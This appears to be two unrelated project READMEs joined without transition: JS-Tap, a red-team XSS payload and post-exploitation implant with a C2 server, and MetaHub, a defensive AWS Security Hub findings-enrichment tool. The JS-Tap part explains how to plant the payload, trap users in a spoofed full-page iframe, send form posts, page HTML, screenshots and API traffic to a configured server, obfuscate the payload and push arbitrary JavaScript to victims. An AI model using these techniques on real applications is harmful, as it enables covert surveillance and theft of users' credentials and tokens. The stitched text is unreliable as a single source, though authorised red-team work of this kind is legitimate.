JavaScript payload and supporting software to be used as XSS payload or post exploitation implant to monitor users as they use the targeted application. Also includes a C2 for executing custom JavaScript payloads in clients.
Major changes are documented in the project Announcements:
https://github.com/hoodoer/JS-Tap/discussions/categories/announcements
You can read the original blog post about JS-Tap here:
javascript-for-red-teams">https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams
Short demo from ShmooCon of JS-Tap version 1:
https://youtu.be/IDLMMiqV6ss?si=XunvnVarqSIjx_x0&t=19814
Demo of JS-Tap version 2 at HackSpaceCon, including C2 and how to use it as a post exploitation implant:
https://youtu.be/aWvNLJnqObQ?t=11719
A demo can also be seen in this webinar:
https://youtu.be/-c3b5debhME?si=CtJRqpklov2xv7Um
I do not plan on creating migration scripts for the database, and version number bumps often involve database schema changes (check the changelogs). You should probably delete your jsTap.db database on version bumps. If you have custom payloads in your JS-Tap server, make sure you export them before the upgrade.
JS-Tap is a generic JavaScript payload and supporting software to help red teamers attack webapps. The JS-Tap payload can be used as an XSS payload or as a post exploitation implant.
The payload does not require the targeted user running the payload to be authenticated to the application being attacked, and it does not require any prior knowledge of the application beyond finding a way to get the JavaScript into the application.
Instead of attacking the application server itself, JS-Tap focuses on the client-side of the application and heavily instruments the client-side code.
The example JS-Tap payload is contained in the telemlib.js file in the payloads directory, however any file in this directory is served unauthenticated. Copy the telemlib.js file to whatever filename you wish and modify the configuration as needed. This file has not been obfuscated. Prior to using in an engagement strongly consider changing the naming of endpoints, stripping comments, and highly obfuscating the payload.
Make sure you review the configuration section below carefully before using on a publicly exposed server.
Note: ability to receive copies of XHR and Fetch API calls works in trap mode. In implant mode only Fetch API can be copied currently.
The payload has two modes of operation. Whether the mode is trap or implant is set in the initGlobals() function, search for the window.taperMode variable.
Trap mode is typically the mode you would use as a XSS payload. Execution of XSS payloads is often fleeting, the user viewing the page where the malicious JavaScript payload runs may close the browser tab (the page isn't interesting) or navigate elsewhere in the application. In both cases, the payload will be deleted from memory and stop working. JS-Tap needs to run a long time or you won't collect useful data.
Trap mode combats this by establishing persistence using an iFrame trap technique. The JS-Tap payload will create a full page iFrame, and start the user elsewhere in the application. This starting page must be configured ahead of time. In the initGlobals() function search for the window.taperstartingPage variable and set it to an appropriate starting location in the target application.
In trap mode JS-Tap monitors the location of the user in the iframe trap and it spoofs the address bar of the browser to match the location of the iframe.
Note that the application targeted must allow iFraming from same-origin or self if it's setting CSP or X-Frame-Options headers. JavaScript based framebusters can also prevent iFrame traps from working.
Note, I've had good luck using Trap Mode for a post exploitation implant in very specific locations of an application, or when I'm not sure what resources the application is using inside the authenticated section of the application. You can put an implant in the login page, with trap mode and the trap mode start page set to window.location.href (i.e. current location). The trap will set when the user visits the login page, and they'll hopefully contine into the authenticated portions of the application inside the iframe trap.
A user refreshing the page will generally break/escape the iframe trap.
Implant mode would typically be used if you're directly adding the payload into the targeted application. Perhaps you have a shell on the server that hosts the JavaScript files for the application. Add the payload to a JavaScript file that's used throughout the application (jQuery, main.js, etc.). Which file would be ideal really depends on the app in question and how it's using JavaScript files. Implant mode does not require a starting page to be configured, and does not use the iFrame trap technique.
A user refreshing the page in implant mode will generally continue to run the JS-Tap payload.
Requires python3. A large number of dependencies are required for the jsTapServer, you are highly encouraged to use python virtual environments to isolate the libraries for the server software (or whatever your preferred isolation method is).
Example:
mkdir jsTapEnvironment
python3 -m venv jsTapEnvironment
source jsTapEnvironment/bin/activate
cd jsTapEnvironment
git clone https://github.com/hoodoer/JS-Tap
cd JS-Tap
pip3 install -r requirements.txt
run in debug/single thread mode:
python3 jsTapServer.py
run with gunicorn multithreaded (production use):
./jstapRun.sh
A new admin password is generated on startup. If you didn't catch it in the startup print statements you can find the credentials saved to the adminCreds.txt file.
If an existing database is found by jsTapServer on startup it will ask you if you want to keep existing clients in the database or drop those tables to start fresh.
Note that on Mac I also had to install libmagic outside of python.
brew install libmagic
Playing with JS-Tap locally is fine, but to use in a proper engagment you'll need to be running JS-Tap on publicly accessible VPS and setup JS-Tap with PROXYMODE set to True. Use NGINX on the front end to handle a valid certificate.
If you're running JS-Tap with the jsTapServer.py script in single threaded mode (great for testing/demos) there are configuration options directly in the jsTapServer.py script.
For production use JS-Tap should be hosted on a publicly available server with a proper SSL certificate from someone like letsencrypt. The easiest way to deploy this is to allow NGINX to act as a front-end to JS-Tap and handle the letsencrypt cert, and then forward the decrypted traffic to JS-Tap as HTTP traffic locally (i.e. NGINX and JS-Tap run on the same VPS).
If you set proxyMode to true, JS-Tap server will run in HTTP mode, and take the client IP address from the X-Forwarded-For header, which NGINX needs to be configured to set.
When proxyMode is set to false, JS-Tap will run with a self-signed certificate, which is useful for testing. The client IP will be taken from the source IP of the client.
The dataDirectory parameter tells JS-Tap where the directory is to use for the SQLite database and loot directory. Not all "loot" is stored in the database, screenshots and scraped HTML files in particular are not.
To change the server port configuration see the last line of jsTapServer.py
app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')
Gunicorn is the preferred means of running JS-Tap in production. The same settings mentioned above can be set in the jstapRun.sh bash script. Values set in the startup script take precedence over the values set directly in the jsTapServer.py script when JS-Tap is started with the gunicorn startup script.
A big difference in configuration when using Gunicorn for serving the application is that you need to configure the number of workers (heavy weight processes) and threads (lightweight serving processes). JS-Tap is a very I/O heavy application, so using threads in addition to workers is beneficial in scaling up the application on multi-processor machines. Note that if you're using NGINX on the same box you need to configure NGNIX to also use multiple processes so you don't bottleneck on the proxy itself.
At the top of the jstapRun.sh script are the numWorkers and numThreads parameters. I like to use number of CPUs + 1 for workers, and 4-8 threads depending on how beefy the processors are. For NGINX in its configuration I typically set worker_processes auto;
Proxy Mode is set by the PROXYMODE variable, and the data directory with the DATADIRECTORY variable. Note the data directory variable needs a trailing '/' added.
Using the gunicorn startup script will use a self-signed cert when started with PROXYMODE set to False. You need to generate that self-signed cert first with:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
These configuration variables are in the initGlobals() function.
You need to configure the payload with the URL of the JS-Tap server it will connect back to.
window.taperexfilServer = "https://127.0.0.1:8444";
Set to either trap or implant This is set with the variable:
window.taperMode = "trap";
or
window.taperMode = "implant";
Only needed for trap mode. See explanation in Operating Modes section above.
Sets the page the user starts on when the iFrame trap is set.
window.taperstartingPage = "http://targetapp.com/somestartpage";
If you want the trap to start on the current page, instead of redirecting the user to a different page in the iframe trap, you can use:
window.taperstartingPage = window.location.href;
Useful if you're using JS-Tap against multiple applications or deployments at once and want a visual indicator of what payload was loaded. Remember that the entire /payloads directory is served, you can have multiple JS-Tap payloads configured with different modes, start pages, and clien tags.
This tag string (keep it short!) is prepended to the client nickname in the JS-Tap portal. Setup multiple payloads, each with the appropriate configuration for the application its being used against, and add a tag indicating which app the client is running.
window.taperTag = 'whatever';
Used to set if clients are checking for Custom Payload tasks, and how often they're checking. The jitter settings Let you optionally set a floor and ceiling modifier. A random value between these two numbers will be picked and added to the check delay. Set these to 0 and 0 for no jitter.
window.taperTaskCheck = true;
window.taperTaskCheckDelay = 5000;
window.taperTaskJitterBottom = -2000;
window.taperTaskJitterTop = 2000;
true/false setting on whether a copy of the HTML code of each page viewed is exfiltrated.
window.taperexfilHTML = true;
true/false setting on whether to intercept a copy of all form posts.
window.taperexfilFormSubmissions = true;
Enable monkeypatching of XHR and Fetch APIs. This works in trap mode. In implant mode, only Fetch APIs are monkeypatched. Monkeypatching allows JavaScript to be rewritten at runtime. Enabling this feature will re-write the XHR and Fetch networking APIs used by JavaScript code in order to tap the contents of those network calls. Not that jQuery based network calls will be captured in the XHR API, which jQuery uses under the hood for network calls.
window.monkeyPatchAPIs = true;
By default JS-Tap will capture a new screenshot after the user navigates to a new page. Some applications do not change their path when new data is loaded, which would cause missed screenshots. JS-Tap can be configured to capture a new screenshot after an XHR or Fetch API call is made. These API calls are often used to retrieve new data to display. Two settings are offered, one to enable the "after API call screenshot", and a delay in milliseconds. X milliseconds after the API call JS-Tap will capture the new screenshot.
window.postApiCallScreenshot = true;
window.screenshotDelay = 1000;
Login with the admin credentials provided by the server script on startup.
Clients show up on the left, selecting one will show a time series of their events (loot) on the right.
The clients list can be sorted by time (first seen, last update received) and the list can be filtered to only show the "starred" clients. There is also a quick filter search above the clients list that allows you to quickly filter clients that have the entered string. Useful if you set an optional tag in the payload configuration. Optional tags show up prepended to the client nickname.
Each client has an 'x' button (near the star button). This allows you to delete the session for that client, if they're sending junk or useless data, you can prevent that client from submitting future data.
When the JS-Tap payload starts, it retrieves a session from the JS-Tap server. If you want to stop all new client sessions from being issues, select Session Settings at the top and you can disable new client sessions. You can also block specific IP addresses from receiving a session in here.
Each client has a "notes" feature. If you find juicy information for that particular client (credentials, API tokens, etc) you can add it to the client notes. After you've reviewed all your clients and made you notes, the View All Notes feature at the top allows you to export all notes from all clients at once.
The events list can be filtered by event type if you're trying to focus on something specific, like screenshots. Note that the events/loot list does not automatically update (the clients list does). If you want to load the latest events for the client you need to select the client again on the left.
Starting in version 1.02 there is a custom payload feature. Multiple JavaScript payloads can be added in the JS-Tap portal and executed on a single client, all current clients, or set to autorun on all future clients. Payloads can be written/edited within the JS-Tap portal, or imported from a file. Payloads can also be exported. The format for importing payloads is simple JSON. The JavaScript code and description are simply base64 encoded.
[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]
The main user interface for custom payloads is from the top menu bar. Select Custom Payloads to open the interface. Any existing payloads will be shown in a list on the left. The button bar allows you to import and export the list. Payloads can be edited on the right side. To load an existing payload for editing select the payload by clicking on it in the Saved Payloads list. Once you have payloads defined and saved, you can execute them on clients.
In the main Custom Payloads view you can launch a payload against all current clients (the Run Payload button). You can also toggle on the Autorun attribute of a payload, which means that all new clients will run the payload. Note that existing clients will not run a payload based on the Autorun setting.
You can toggle on Repeat Payload and the payload will be tasked for each client when they check for tasks. Remember, the rate that a client checks for custom payload tasks is variable, and that rate can be changed in the main JS-Tap payload configuration. That rate can be changed with a custom payload (calling the updateTaskCheckInterval(newDelay) function). The jitter in the task check delay can be set with the updateTaskCheckJitter(newTop, newBottom) function.
The Clear All Jobs button in the custom payload UI will delete all custom payload jobs from the queue for all clients and resets the auto/repeat run toggles.
To run a payload on a single client user the Run Payload button on the specific client you wish to run it on, and then hit the run button for the specific payload you wish to use. You can also set Repeat Payload on individual clients.
A few tools are included in the tools subdirectory.
A script to stress test the jsTapServer. Good for determining roughly how many clients your server can handle. Note that running the clientSimulator script is probably more resource intensive than the actual jsTapServer, so you may wish to run it on a separate machine.
At the top of the script is a numClients variable, set to how many clients you want to simulator. The script will spawn a thread for each, retrieve a client session, and send data in simulating a client.
numClients = 50
You'll also need to configure where you're running the jsTapServer for the clientSimulator to connect to:
apiServer = "https://127.0.0.1:8444"
JS-Tap run using gunicorn scales quite well.
A simple app used for testing XHR/Fetch monkeypatching, but can give you a simple app to test the payload against in general.
Run with:
python3 monkeyPatchLab.py
By default this will start the application running on:
https://127.0.0.1:8443
Pressing the "Inject JS-Tap payload" button will run the JS-Tap payload. This works for either implant or trap mode. You may need to point the monkeyPatchLab application at a new JS-Tap server location for loading the payload file, you can find this set in the injectPayload() function in main.js
function injectPayload()
{
document.head.appendChild(Object.assign(document.createElement('script'),
{src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}
Abandoned tool, is a good start on analyzing HTML for forms and parsing out their parameters. Intended to help automatically generate JavaScript payloads to target form posts.
You should be able to run it on exfiltrated HTML files. Again, this is currently abandonware.
No longer working, used before the web UI for JS-Tap. The generateIntelReport script would comb through the gathered loot and generate a PDF report. Saving all the loot to disk is now disabled for performance reasons, most of it is stored in the datagbase with the exception of exfiltratred HTML code and screenshots.
@hoodoer
hoodoer@bitwisemunitions.dev
MetaHub is an automated contextual security findings enrichment and impact evaluation tool for vulnerability management. You can use it with AWS Security Hub or any ASFF-compatible security scanner. Stop relying on useless severities and switch to impact scoring definitions based on YOUR context.
MetaHub is an open-source security tool for impact-contextual vulnerability management. It can automate the process of contextualizing security findings based on your environment and your needs: YOUR context, identifying ownership, and calculate an impact scoring based on it that you can use for defining prioritization and automation. You can use it with AWS Security Hub or any ASFF security scanners (like Prowler).
MetaHub describe your context by connecting to your affected resources in your affected accounts. It can describe information about your AWS account and organization, the affected resources tags, the affected CloudTrail events, your affected resource configurations, and all their associations: if you are contextualizing a security finding affecting an EC2 Instance, MetaHub will not only connect to that instance itself but also its IAM Roles; from there, it will connect to the IAM Policies associated with those roles. It will connect to the Security Groups and analyze all their rules, the VPC and the Subnets where the instance is running, the Volumes, the Auto Scaling Groups, and more.
After fetching all the information from your context, MetaHub will evaluate certain important conditions for all your resources: exposure
, access
, encryption
, status
, environment
and application
. Based on those calculations and in addition to the information from the security findings affecting the resource all together, MetaHub will generate a Scoring for each finding.
Check the following dashboard generated by MetaHub. You have the affected resources, grouping all the security findings affecting them together and the original severity of the finding. After that, you have the Impact Score and all the criteria MetaHub evaluated to generate that score. All this information is filterable, sortable, groupable, downloadable, and customizable.
You can rely on this Impact Score for prioritizing findings (where should you start?), directing attention to critical issues, and automating alerts and escalations.
MetaHub can also filter, deduplicate, group, report, suppress, or update your security findings in automated workflows. It is designed for use as a CLI tool or within automated workflows, such as AWS Security Hub custom actions or AWS Lambda functions.
The following is the JSON output for a an EC2 instance; see how MetaHub organizes all the information about its context together, under associations
, config
, tags
, account
cloudtrail
, and impact
In MetaHub, context refers to information about the affected resources like their configuration, associations, logs, tags, account, and more.
MetaHub doesn't stop at the affected resource but analyzes any associated or attached resources. For instance, if there is a security finding on an EC2 instance, MetaHub will not only analyze the instance but also the security groups attached to it, including their rules. MetaHub will examine the IAM roles that the affected resource is using and the policies attached to those roles for any issues. It will analyze the EBS attached to the instance and determine if they are encrypted. It will also analyze the Auto Scaling Groups that the instance is associated with and how. MetaHub will also analyze the VPC, Subnets, and other resources associated with the instance.
The Context module has the capability to retrieve information from the affected resources, affected accounts, and every associated resources. The context module has five main parts: config
(which includes associations
as well), tags
, cloudtrail
, and account
. By default config
and tags
are enabled, but you can change this behavior using the option --context
(for enabling all the context modules you can use --context config tags cloudtrail account
). The output of each enabled key will be added under the affected resource.
Under the config
key, you can find anyting related to the configuration of the affected resource. For example, if the affected resource is an EC2 Instance, you will see keys like private_ip
, public_ip
, or instance_profile
.
You can filter your findings based on Config outputs using the option: --mh-filters-config <key> {True/False}
. See Config Filtering.
Under the associations
key, you will find all the associated resources of the affected resource. For example, if the affected resource is an EC2 Instance, you will find resources like: Security Groups, IAM Roles, Volumes, VPC, Subnets, Auto Scaling Groups, etc. Each time MetaHub finds an association, it will connect to the associated resource again and fetch its own context.
Associations are key to understanding the context and impact of your security findings as their exposure.
You can filter your findings based on Associations outputs using the option: --mh-filters-config <key> {True/False}
. See Config Filtering.
MetaHub relies on AWS Resource Groups Tagging API to query the tags associated with your resources.
Note that not all AWS resource type supports this API. You can check supported services.
Tags are a crucial part of understanding your context. Tagging strategies often include:
If you follow a proper tagging strategy, you can filter and generate interesting outputs. For example, you could list all findings related to a specific team and provide that data directly to that team.
You can filter your findings based on Tags outputs using the option: --mh-filters-tags TAG=VALUE
. See Tags Filtering
Under the key cloudtrail
, you will find critical Cloudtrail events related to the affected resource, such as creating events.
The Cloudtrail events that we look for are defined by resource type, and you can add, remove or change them by editing the configuration file resources.py.
For example for an affected resource of type Security Group, MetaHub will look for the following events:
CreateSecurityGroup
: Security Group Creation eventAuthorizeSecurityGroupIngress
: Security Group Rule Authorization event.Under the key account
, you will find information about the account where the affected resource is runnning, like if it's part of an AWS Organizations, information about their contacts, etc.
MetaHub also focuses on ownership detection. It can determine the owner of the affected resource in various ways. This information can be used to automatically assign a security finding to the correct owner, escalate it, or make decisions based on this information.
An automated way to determine the owner of a resource is critical for security teams. It allows them to focus on the most critical issues and escalate them to the right people in automated workflows. But automating workflows this way, it is only viable if you have a reliable way to define the impact of a finding, which is why MetaHub also focuses on impact.
The impact module in MetaHub focuses on generating a score for each finding based on the context of the affected resource and all the security findings affecting them. For the context, we define a series of evaluated criteria; you can add, remove, or modify these criteria based on your needs. The Impact criteria are combined with a metric generated based on all the Security Findings affecting the affected resource and their severities.
The following are the impact criteria that MetaHub evaluates by default:
Exposure evaluates the how the the affected resource is exposed to other networks. For example, if the affected resource is public, if it is part of a VPC, if it has a public IP or if it is protected by a firewall or a security group.
Possible Statuses | Value | Description |
---|---|---|
๏ด effectively-public | 100% | The resource is effectively public from the Internet. |
๏ restricted-public | 40% | The resource is public, but there is a restriction like a Security Group. |
๏ unrestricted-private | 30% | The resource is private but unrestricted, like an open security group. |
๏ launch-public | 10% | These are resources that can launch other resources as public. For example, an Auto Scaling group or a Subnet. |
๏ข restricted | 0% | The resource is restricted. |
๏ต unknown | - | The resource couldn't be checked |
Access evaluates the resource policy layer. MetaHub checks every available policy including: IAM Managed policies, IAM Inline policies, Resource Policies, Bucket ACLS, and any association to other resources like IAM Roles which its policies are also analyzed . An unrestricted policy is not only an itsue itself of that policy, it afected any other resource which is using it.
Possible Statuses | Value | Description |
---|---|---|
๏ด unrestricted | 100% | The principal is unrestricted, without any condition or restriction. |
๏ด untrusted-principal | 70% | The principal is an AWS Account, not part of your trusted accounts. |
๏ unrestricted-principal | 40% | The principal is not restricted, defined with a wildcard. It could be conditions restricting it or other restrictions like s3 public blocks. |
๏ cross-account-principal | 30% | The principal is from another AWS account. |
๏ unrestricted-actions | 30% | The actions are defined using wildcards. |
๏ dangerous-actions | 30% | Some dangerous actions are defined as part of this policy. |
๏ unrestricted-service | 10% | The policy allows an AWS service as principal without restriction. |
๏ข restricted | 0% | The policy is restricted. |
๏ต unknown | - | The policy couldn't be checked. |
Encryption evaluate the different encryption layers based on each resource type. For example, for some resources it evaluates if at_rest
and in_transit
encryption configuration are both enabled.
Possible Statuses | Value | Description |
---|---|---|
๏ด unencrypted | 100% | The resource is not fully encrypted. |
๏ข encrypted | 0% | The resource is fully encrypted including any of it's associations. |
๏ต unknown | - | The resource encryption couldn't be checked. |
Status evaluate the status of the affected resource in terms of attachment or functioning. For example, for an EC2 Instance we evaluate if the resource is running, stopped, or terminated, but for resources like EBS Volumes and Security Groups, we evaluate if those resources are attached to any other resource.
Possible Statuses | Value | Description |
---|---|---|
๏ attached | 100% | The resource supports attachment and is attached. |
๏ running | 100% | The resource supports running and is running. |
๏ enabled | 100% | The resource supports enabled and is enabled. |
๏ข not-attached | 0% | The resource supports attachment, and it is not attached. |
๏ข not-running | 0% | The resource supports running and it is not running. |
๏ข not-enabled | 0% | The resource supports enabled and it is not enabled. |
๏ต unknown | - | The resource couldn't be checked for status. |
Environment evaluates the environment where the affected resource is running. By default, MetaHub defines 3 environments: production
, staging
, and development
, but you can add, remove, or modify these environments based on your needs. MetaHub evaluates the environment based on the tags of the affected resource, the account id or the account alias. You can define your own environemnts definitions and strategy in the configuration file (See Customizing Configuration).
Possible Statuses | Value | Description |
---|---|---|
๏ production | 100% | It is a production resource. |
๏ข staging | 30% | It is a staging resource. |
๏ข development | 0% | It is a development resource. |
๏ต unknown | - | The resource couldn't be checked for enviroment. |
Application evaluates the application that the affected resource is part of. MetaHub relies on the AWS myApplications feature, which relies on the Tag awsApplication
, but you can extend this functionality based on your context for example by defining other tags you use for defining applications or services (like Service
or any other), or by relying on account id or alias. You can define your application definitions and strategy in the configuration file (See Customizing Configuration).
Possible Statuses | Value | Description |
---|---|---|
๏ต unknown | - | The resource couldn't be checked for application. |
As part of the impact score calculation, we also evaluate the total ammount of security findings and their severities affecting the resource. We use the following formula to calculate this metric:
(SUM of all (Finding Severity / Highest Severity) with a maximum of 1)
For example, if the affected resource has two findings affecting it, one with HIGH
and another with LOW
severity, the Impact Findings Score will be:
SUM(HIGH (3) / CRITICAL (4) + LOW (0.5) / CRITICAL (4)) = 0.875
MetaHub reads your security findings from AWS Security Hub or any ASFF-compatible security scanner. It then queries the affected resources directly in the affected account to provide additional context. Based on that context, it calculates it's impact. Finally, it generates different outputs based on your needs.
Some use cases for MetaHub include:
MetaHub provides a range of ways to list and manage security findings for investigation, suppression, updating, and integration with other tools or alerting systems. To avoid Shadowing and Duplication, MetaHub organizes related findings together when they pertain to the same resource. For more information, refer to Findings Aggregation
MetaHub queries the affected resources directly in the affected account to provide additional context using the following options:
MetaHub supports filters on top of these context* outputs to automate the detection of other resources with the same issues. You can filter security findings affecting resources tagged in a certain way (e.g., Environment=production
) and combine this with filters based on Config or Associations, like, for example, if the resource is public, if it is encrypted, only if they are part of a VPC, if they are using a specific IAM role, and more. For more information, refer to Config filters and Tags filters for more information.
But that's not all. If you are using MetaHub with Security Hub, you can even combine the previous filters with the Security Hub native filters (AWS Security Hub filtering). You can filter the same way you would with the AWS CLI utility using the option --sh-filters
, but in addition, you can save and re-use your filters as YAML files using the option --sh-template
.
If you prefer, With MetaHub, you can back enrich your findings directly in AWS Security Hub using the option --enrich-findings
. This action will update your AWS Security Hub findings using the field UserDefinedFields
. You can then create filters or Insights directly in AWS Security Hub and take advantage of the contextualization added by MetaHub.
When investigating findings, you may need to update security findings altogether. MetaHub also allows you to execute bulk updates to AWS Security Hub findings, such as changing Workflow Status using the option --update-findings
. As an example, you identified that you have hundreds of security findings about public resources. Still, based on the MetaHub context, you know those resources are not effectively public as they are protected by routing and firewalls. You can update all the findings for the output of your MetaHub query with one command. When updating findings using MetaHub, you also update the field Note
of your finding with a custom text for future reference.
MetaHub supports different Output Modes, some of them json based like json-inventory, json-statistics, json-short, json-full, but also powerfull html, xlsx and csv. These outputs are customizable; you can choose which columns to show. For example, you may need a report about your affected resources, adding the tag Owner, Service, and Environment and nothing else. Check the configuration file and define the columns you need.
MetaHub supports multi-account setups. You can run the tool from any environment by assuming roles in your AWS Security Hub master
account and your child/service
accounts where your resources live. This allows you to fetch aggregated data from multiple accounts using your AWS Security Hub multi-account implementation while also fetching and enriching those findings with data from the accounts where your affected resources live based on your needs. Refer to Configuring Security Hub for more information.
MetaHub uses configuration files that let you customize some checks behaviors, default filters, and more. The configuration files are located in lib/config/.
Things you can customize:
lib/config/configuration.py: This file contains the default configuration for MetaHub. You can change the default filters, the default output modes, the environment definitions, and more.
lib/config/impact.py: This file contains the values and it's weights for the impact formula criteria. You can modify the values and the weights based on your needs.
lib/config/reources.py: This file contains definitions for every resource type, like which CloudTrail events to look for.
MetaHub is a Python3 program. You need to have Python3 installed in your system and the required Python modules described in the file requirements.txt
.
Requirements can be installed in your system manually (using pip3) or using a Python virtual environment (suggested method).
git clone git@github.com:gabrielsoltz/metahub.git
cd metahub
python3 -m venv venv/metahub
source venv/metahub/bin/activate
pip3 install -r requirements.txt
./metahub -h
deactivate
Next time, you only need steps 4 and 6 to use the program.
Alternatively, you can run this tool using Docker.
MetaHub is also available as a Docker image. You can run it directly from the public Docker image or build it locally.
The available tagging for MetaHub containers are the following:
latest
: in sync with master branch<x.y.z>
: you can find the releases here
stable
: this tag always points to the latest release.For running from the public registry, you can run the following command:
docker run -ti public.ecr.aws/n2p8q5p4/metahub:latest ./metahub -h
If you are already logged into the AWS host machine, you can seamlessly use the same credentials within a Docker container. You can achieve this by either passing the necessary environment variables to the container or by mounting the credentials file.
For instance, you can run the following command:
docker run -e AWS_DEFAULT_REGION -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN -ti public.ecr.aws/n2p8q5p4/metahub:latest ./metahub -h
On the other hand, if you are not logged in on the host machine, you will need to log in again from within the container itself.
Or you can also build it locally:
git clone git@github.com:gabrielsoltz/metahub.git
cd metahub
docker build -t metahub .
docker run -ti metahub ./metahub -h
MetaHub is Lambda/Serverless ready! You can run MetaHub directly on an AWS Lambda function without any additional infrastructure required.
Running MetaHub in a Lambda function allows you to automate its execution based on your defined triggers.
Terraform code is provided for deploying the Lambda function and all its dependencies.
The terraform code for deploying the Lambda function is provided under the terraform/
folder.
Just run the following commands:
cd terraform
terraform init
terraform apply
The code will create a zip file for the lambda code and a zip file for the Python dependencies. It will also create a Lambda function and all the required resources.
You can customize MetaHub options for your lambda by editing the file lib/lambda.py. You can change the default options for MetaHub, such as the filters, the Meta* options, and more.
Terraform will create the minimum required permissions for the Lambda function to run locally (in the same account). If you want your Lambda to assume a role in other accounts (for example, you will need this if you are executing the Lambda in the Security Hub master account that is aggregating findings from other accounts), you will need to specify the role to assume, adding the option --mh-assume-role
in the Lambda function configuration (See previous step) and adding the corresponding policy to allow the Lambda to assume that role in the lambda role.
MetaHub can be run as a Security Hub Custom Action. This allows you to run MetaHub directly from the Security Hub console for a selected finding or for a selected set of findings.
The custom action will then trigger a Lambda function that will run MetaHub for the selected findings. By default, the Lambda function will run MetaHub with the option --enrich-findings
, which means that it will update your finding back with MetaHub outputs. If you want to change this, see Customize Lambda behavior
You need first to create the Lambda function and then create the custom action in Security Hub.
For creating the lambda function, follow the instructions in the Run with Lambda section.
For creating the AWS Security Hub custom action:
For example, you can use aws configure
option.
aws configure
Or you can export your credentials to the environment.
export AWS_DEFAULT_REGION="us-east-1"
export AWS_ACCESS_KEY_ID= "ASXXXXXXX"
export AWS_SECRET_ACCESS_KEY= "XXXXXXXXX"
export AWS_SESSION_TOKEN= "XXXXXXXXX"
If you are running MetaHub for a single AWS account setup (AWS Security Hub is not aggregating findings from different accounts), you don't need to use any additional options; MetaHub will use the credentials in your environment. Still, if your IAM design requires it, it is possible to log in and assume a role in the same account you are logged in. Just use the options --sh-assume-role
to specify the role and --sh-account
with the same AWS Account ID where you are logged in.
--sh-region
: The AWS Region where Security Hub is running. If you don't specify a region, it will use the one configured in your environment. If you are using AWS Security Hub Cross-Region aggregation, you should use that region as the --sh-region option so that you can fetch all findings together.
--sh-account
and --sh-assume-role
: The AWS Account ID where Security Hub is running and the AWS IAM role to assume in that account. These options are helpful when you are logged in to a different AWS Account than the one where AWS Security Hub is running or when running AWS Security Hub in a multiple AWS Account setup. Both options must be used together. The role provided needs to have enough policies to get and update findings in AWS Security Hub (if needed). If you don't specify a --sh-account
, MetaHub will assume the one you are logged in.
--sh-profile
: You can also provide your AWS profile name to use for AWS Security Hub. When using this option, you don't need to specify --sh-account
or --sh-assume-role
as MetaHub will use the credentials from the profile. If you are using --sh-account
and --sh-assume-role
, those options take precedence over --sh-profile
.
This is the minimum IAM policy you need to read and write from AWS Security Hub. If you don't want to update your findings with MetaHub, you can remove the securityhub:BatchUpdateFindings
action.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"security hub:GetFindings",
"security hub:ListFindingAggregators",
"security hub:BatchUpdateFindings",
"iam:ListAccountAliases"
],
"Resource": [
"*"
]
}
]
}
If you are running MetaHub for a multiple AWS Account setup (AWS Security Hub is aggregating findings from multiple AWS Accounts), you must provide the role to assume for Context queries because the affected resources are not in the same AWS Account that the AWS Security Hub findings. The --mh-assume-role
will be used to connect with the affected resources directly in the affected account. This role needs to have enough policies for being able to describe resources.
The minimum policy needed for context includes the managed policy arn:aws:iam::aws:policy/SecurityAudit
and the following actions:
tag:GetResources
lambda:GetFunction
lambda:GetFunctionUrlConfig
cloudtrail:LookupEvents
account:GetAlternateContact
organizations:DescribeAccount
iam:ListAccountAliases
MetaHub can read security findings directly from AWS Security Hub using its API. If you don't use Security Hub, you can use any ASFF-based scanner. Most cloud security scanners support the ASFF format. Check with them or leave an issue if you need help.
If you want to read from an input ASFF file, you need to use the options:
./metahub.py --inputs file-asff --input-asff path/to/the/file.json.asff path/to/the/file2.json.asff
You also can combine AWS Security Hub findings with input ASFF files specifying both inputs:
./metahub.py --inputs file-asff securityhub --input-asff path/to/the/file.json.asff
When using a file as input, you can't use the option --sh-filters
for filter findings, as this option relies on AWS API for filtering. You can't use the options --update-findings
or --enrich-findings
as those findings are not in the AWS Security Hub. If you are reading from both sources at the same time, only the findings from AWS Security Hub will be updated.
MetaHub can generate different programmatic and visual outputs. By default, all output modes are enabled: json-short
, json-full
, json-statistics
, json-inventory
, html
, csv
, and xlsx
.
The outputs will be saved in the outputs/
folder with the execution date.
If you want only to generate a specific output mode, you can use the option --output-modes
with the desired output mode.
For example, if you only want to generate the output json-short
, you can use:
./metahub.py --output-modes json-short
If you want to generate json-short
, json-full
and html
outputs, you can use:
./metahub.py --output-modes json-short json-full html
Show all findings titles together under each affected resource and the AwsAccountId
, Region
, and ResourceType
:
Show all findings with all data. Findings are organized by ResourceId (ARN). For each finding, you will also get: SeverityLabel,
Workflow,
RecordState,
Compliance,
Id
, and ProductArn
:
Show a list of all resources with their ARN.
Show statistics for each field/value. In the output, you will see each field/value and the number of occurrences; for example, the following output shows statistics for six findings.
You can create rich HTML reports of your findings, adding your context as part of them.
HTML Reports are interactive in many ways:
You can create CSV reports of your findings, adding your context as part of them.
ย
Similar to CSV but with more formatting options.
You can customize which Context keys to unroll as columns for your HTML, CSV, and XLSX outputs using the options --output-tag-columns
and --output-config-columns
(as a list of columns). If the keys you specified don't exist for the affected resource, they will be empty. You can also configure these columns by default in the configuration file (See Customizing Configuration).
For example, you can generate an HTML output with Tags and add "Owner" and "Environment" as columns to your report using the:
./metahub --output-modes html --output-tag-columns Owner Environment
You can filter the security findings and resources that you get from your source in different ways and combine all of them to get exactly what you are looking for, then re-use those filters to create alerts.
MetaHub supports filtering AWS Security Hub findings in the form of KEY=VALUE
filtering for AWS Security Hub using the option --sh-filters
, the same way you would filter using AWS CLI but limited to the EQUALS
comparison. If you want another comparison, use the option --sh-template
Security Hub Filtering using YAML templates.
You can check available filters in AWS Documentation
./metahub --sh-filters <KEY=VALUE>
